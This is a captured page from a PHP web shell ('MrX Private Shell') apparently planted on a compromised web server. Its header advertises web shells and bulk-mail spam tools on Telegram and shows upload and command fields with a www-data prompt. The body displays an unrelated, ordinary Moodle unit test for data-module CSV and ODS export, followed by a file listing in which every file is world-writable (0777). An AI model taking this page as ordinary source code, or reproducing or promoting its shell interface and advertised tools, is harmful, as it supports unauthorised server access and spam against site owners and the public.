__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_data;

use context_module;
use mod_data\local\exporter\csv_entries_exporter;
use mod_data\local\exporter\ods_entries_exporter;
use mod_data\local\exporter\utils;

/**
 * Unit tests for exporting entries.
 *
 * @package    mod_data
 * @copyright  2023 ISB Bayern
 * @author     Philipp Memmel
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class entries_export_test extends \advanced_testcase {

    /**
     * Get the test data.
     *
     * In this instance we are setting up database records to be used in the unit tests.
     *
     * @return array of test instances
     */
    protected function get_test_data(): array {
        $this->resetAfterTest(true);

        /** @var \mod_data_generator $generator */
        $generator = $this->getDataGenerator()->get_plugin_generator('mod_data');
        $course = $this->getDataGenerator()->create_course();
        $teacher = $this->getDataGenerator()->create_and_enrol($course, 'teacher');
        $this->setUser($teacher);
        $student = $this->getDataGenerator()->create_and_enrol($course, 'student', ['username' => 'student']);

        $data = $generator->create_instance(['course' => $course->id]);
        $cm = get_coursemodule_from_instance('data', $data->id);

        // Add fields.
        $fieldrecord = new \stdClass();
        $fieldrecord->name = 'numberfield'; // Identifier of the records for testing.
        $fieldrecord->type = 'number';
        $numberfield = $generator->create_field($fieldrecord, $data);

        $fieldrecord->name = 'textfield';
        $fieldrecord->type = 'text';
        $textfield = $generator->create_field($fieldrecord, $data);

        $fieldrecord->name = 'filefield1';
        $fieldrecord->type = 'file';
        $filefield1 = $generator->create_field($fieldrecord, $data);

        $fieldrecord->name = 'filefield2';
        $fieldrecord->type = 'file';
        $filefield2 = $generator->create_field($fieldrecord, $data);

        $fieldrecord->name = 'picturefield';
        $fieldrecord->type = 'picture';
        $picturefield = $generator->create_field($fieldrecord, $data);

        $contents[$numberfield->field->id] = '3';
        $contents[$textfield->field->id] = 'a simple text';
        $contents[$filefield1->field->id] = 'samplefile.png';
        $contents[$filefield2->field->id] = 'samplefile.png';
        $contents[$picturefield->field->id] = ['picturefile.png', 'this picture shows something'];
        $generator->create_entry($data, $contents);

        return [
            'teacher' => $teacher,
            'student' => $student,
            'data' => $data,
            'cm' => $cm,
        ];
    }

    /**
     * Tests the exporting of the content of a mod_data instance by using the csv_entries_exporter.
     *
     * It also includes more general testing of the functionality of the entries_exporter the csv_entries_exporter
     * is inheriting from.
     *
     * @covers \mod_data\local\exporter\entries_exporter
     * @covers \mod_data\local\exporter\entries_exporter::get_records_count()
     * @covers \mod_data\local\exporter\entries_exporter::send_file()
     * @covers \mod_data\local\exporter\csv_entries_exporter
     * @covers \mod_data\local\exporter\utils::data_exportdata
     */
    public function test_export_csv(): void {
        global $DB;
        [
            'data' => $data,
            'cm' => $cm,
        ] = $this->get_test_data();

        $exporter = new csv_entries_exporter();
        $exporter->set_export_file_name('testexportfile');
        $fieldrecords = $DB->get_records('data_fields', ['dataid' => $data->id], 'id');

        $fields = [];
        foreach ($fieldrecords as $fieldrecord) {
            $fields[] = data_get_field($fieldrecord, $data);
        }

        // We select all fields.
        $selectedfields = array_map(fn($field) => $field->field->id, $fields);
        $currentgroup = groups_get_activity_group($cm);
        $context = context_module::instance($cm->id);
        $exportuser = false;
        $exporttime = false;
        $exportapproval = false;
        $tags = false;
        // We first test the export without exporting files.
        // This means file and picture fields will be exported, but only as text (which is the filename),
        // so we will receive a csv export file.
        $includefiles = false;
        utils::data_exportdata($data->id, $fields, $selectedfields, $exporter, $currentgroup, $context,
            $exportuser, $exporttime, $exportapproval, $tags, $includefiles);
        $this->assertEquals(file_get_contents(self::get_fixture_path(__NAMESPACE__, 'test_data_export_without_files.csv')),
            $exporter->send_file(false));

        $this->assertEquals(1, $exporter->get_records_count());

        // We now test the export including files. This will generate a zip archive.
        $includefiles = true;
        $exporter = new csv_entries_exporter();
        $exporter->set_export_file_name('testexportfile');
        utils::data_exportdata($data->id, $fields, $selectedfields, $exporter, $currentgroup, $context,
            $exportuser, $exporttime, $exportapproval, $tags, $includefiles);
        // We now write the zip archive temporary to disc to be able to parse it and assert it has the correct structure.
        $tmpdir = make_request_directory();
        file_put_contents($tmpdir . '/testexportarchive.zip', $exporter->send_file(false));
        $ziparchive = new \zip_archive();
        $ziparchive->open($tmpdir . '/testexportarchive.zip');
        $expectedfilecontents = [
            // The test generator for mod_data uses a copy of field/picture/pix/sample.png as sample file content for the
            // file stored in a file and picture field.
            // So we expect that this file has to have the same content as sample.png.
            // Also, the default value for the subdirectory in the zip archive containing the files is 'files/'.
            'files/samplefile.png' => 'mod/data/field/picture/pix/sample.png',
            'files/samplefile_1.png' => 'mod/data/field/picture/pix/sample.png',
            'files/picturefile.png' => 'mod/data/field/picture/pix/sample.png',
            // By checking that the content of the exported csv is identical to the fixture file it is verified
            // that the filenames in the csv file correspond to the names of the exported file.
            // It also verifies that files with identical file names in different fields (or records) will be numbered
            // automatically (samplefile.png, samplefile_1.png, ...).
            'testexportfile.csv' => self::get_fixture_path(__NAMESPACE__, 'test_data_export_with_files.csv'),
        ];
        for ($i = 0; $i < $ziparchive->count(); $i++) {
            // We here iterate over all files in the zip archive and check if their content is identical to the files
            // in the $expectedfilecontents array.
            $filestream = $ziparchive->get_stream($i);
            $fileinfo = $ziparchive->get_info($i);
            $filecontent = fread($filestream, $fileinfo->size);
            $this->assertEquals(file_get_contents($expectedfilecontents[$fileinfo->pathname]), $filecontent);
            fclose($filestream);
        }
        $ziparchive->close();
        unlink($tmpdir . '/testexportarchive.zip');
    }

    /**
     * Tests specific ODS exporting functionality.
     *
     * @covers \mod_data\local\exporter\ods_entries_exporter
     * @covers \mod_data\local\exporter\utils::data_exportdata
     */
    public function test_export_ods(): void {
        global $DB;
        [
            'data' => $data,
            'cm' => $cm,
        ] = $this->get_test_data();

        $exporter = new ods_entries_exporter();
        $exporter->set_export_file_name('testexportfile');
        $fieldrecords = $DB->get_records('data_fields', ['dataid' => $data->id], 'id');

        $fields = [];
        foreach ($fieldrecords as $fieldrecord) {
            $fields[] = data_get_field($fieldrecord, $data);
        }

        // We select all fields.
        $selectedfields = array_map(fn($field) => $field->field->id, $fields);
        $currentgroup = groups_get_activity_group($cm);
        $context = context_module::instance($cm->id);
        $exportuser = false;
        $exporttime = false;
        $exportapproval = false;
        $tags = false;
        // We first test the export without exporting files.
        // This means file and picture fields will be exported, but only as text (which is the filename),
        // so we will receive an ods export file.
        $includefiles = false;
        utils::data_exportdata($data->id, $fields, $selectedfields, $exporter, $currentgroup, $context,
            $exportuser, $exporttime, $exportapproval, $tags, $includefiles);
        $odsrows = $this->get_ods_rows_content($exporter->send_file(false));

        // Check, if the headings match with the first row of the ods file.
        $i = 0;
        foreach ($fields as $field) {
            $this->assertEquals($field->field->name, $odsrows[0][$i]);
            $i++;
        }

        // Check, if the values match with the field values.
        $this->assertEquals('3', $odsrows[1][0]);
        $this->assertEquals('a simple text', $odsrows[1][1]);
        $this->assertEquals('samplefile.png', $odsrows[1][2]);
        $this->assertEquals('samplefile.png', $odsrows[1][3]);
        $this->assertEquals('picturefile.png', $odsrows[1][4]);

        // As the logic of renaming the files and building a zip archive is implemented in entries_exporter class, we do
        // not need to test this for the ods_entries_exporter, because entries_export_test::test_export_csv already does this.
    }

    /**
     * Helper function to extract the text data as row arrays from an ODS document.
     *
     * @param string $content the file content
     * @return array two-dimensional row/column array with the text content of the first spreadsheet
     */
    private function get_ods_rows_content(string $content): array {
        $file = tempnam(make_request_directory(), 'ods_');
        $filestream = fopen($file, "w");
        fwrite($filestream, $content);
        $reader = new \OpenSpout\Reader\ODS\Reader();
        $reader->open($file);
        /** @var \OpenSpout\Reader\ODS\Sheet[] $sheets */
        $sheets = $reader->getSheetIterator();
        $rowscellsvalues = [];
        foreach ($sheets as $sheet) {
            /** @var \OpenSpout\Common\Entity\Row[] $rows */
            $rows = $sheet->getRowIterator();
            foreach ($rows as $row) {
                $cellvalues = [];
                foreach ($row->getCells() as $cell) {
                    $cellvalues[] = $cell->getValue();
                }
                $rowscellsvalues[] = $cellvalues;
            }
        }
        return $rowscellsvalues;
    }
}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
behat Folder 0777
event Folder 0777
external Folder 0777
fixtures Folder 0777
generator Folder 0777
privacy Folder 0777
search Folder 0777
custom_completion_test.php File 7.05 KB 0777
dates_test.php File 4.24 KB 0777
entries_export_test.php File 11.32 KB 0777
entries_exporter_test.php File 8.73 KB 0777
entries_import_test.php File 19 KB 0777
entries_importer_test.php File 7.92 KB 0777
externallib_test.php File 65.42 KB 0777
generator_test.php File 14.09 KB 0777
lib_test.php File 87.41 KB 0777
locallib_test.php File 9.47 KB 0777
manager_test.php File 29.78 KB 0777
preset_importer_test.php File 18.9 KB 0777
preset_test.php File 39.38 KB 0777
template_test.php File 42.3 KB 0777
Filemanager